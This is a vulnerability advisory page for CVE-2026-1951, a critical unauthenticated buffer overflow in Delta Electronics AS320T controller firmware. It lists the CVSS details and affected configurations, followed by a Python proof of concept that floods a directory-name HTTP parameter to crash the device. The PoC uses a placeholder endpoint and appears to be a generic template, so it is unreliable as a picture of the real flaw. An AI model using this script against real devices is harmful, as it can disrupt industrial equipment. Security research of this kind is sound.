Security Vulnerability Report
中文
CVE-2026-1951 CVSS 9.8 CRITICAL

CVE-2026-1951

Published: 2026-04-24 07:16:10
Last Modified: 2026-05-11 17:42:30
Source: 759f5e80-c8e1-4224-bead-956d7b33c98b

Description

Delta Electronics AS320T has no checking of the length of the buffer with the directory name vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:deltaww:as320t_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:deltaww:as320t:-:*:*:*:*:*:*:* - NOT VULNERABLE
Delta Electronics AS320T (具体受影响固件版本请参考厂商公告 Delta-PCSA-2026-00006)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-1951: Delta Electronics AS320T Buffer Overflow # This script demonstrates the buffer overflow by sending a long directory name. import socket def send_exploit(target_ip, target_port): # Payload: A long string of 'A's to trigger the buffer overflow # Adjust length based on specific buffer size (e.g., 500 bytes) payload = b"A" * 500 # Construct a malicious request targeting the vulnerable directory parameter # Note: The actual HTTP endpoint or protocol syntax may vary. request = b"GET /vulnerable_path?dirname=" + payload + b" HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n\r\n" try: print(f"[*] Sending payload to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the device crashes or responds abnormally.") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": target = "192.168.1.10" # Replace with actual target IP port = 80 # Replace with actual service port send_exploit(target, port)

References

Raw JSON Data

JSON
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